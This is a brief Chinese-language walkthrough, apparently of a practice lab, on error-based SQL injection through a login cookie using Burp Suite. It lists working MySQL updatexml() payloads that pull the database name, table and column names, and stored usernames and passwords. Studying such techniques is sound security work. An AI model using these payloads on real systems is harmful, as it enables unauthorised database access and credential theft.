POST方式,基于报错的cookie注入
1、页面分析
登陆成功后,页面会显示cookie信息,判断为登陆成功后,在cookie处存在注入点。
2、注入点分析
用burpsuit 拦截,放行2次后,cookie处出现uname信息
将报文发送到repeater后,在uname=admin处加上单引号,send后返回报错信息
可判断此处存在注入点。
3、获取数据库信息
3.1获取数据库名
’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#
3.2获取表名
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)#
3.3 获取表的字段
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1)#
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1)#
3.4 获取username, password数据
’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 4,1),0x7e),1)#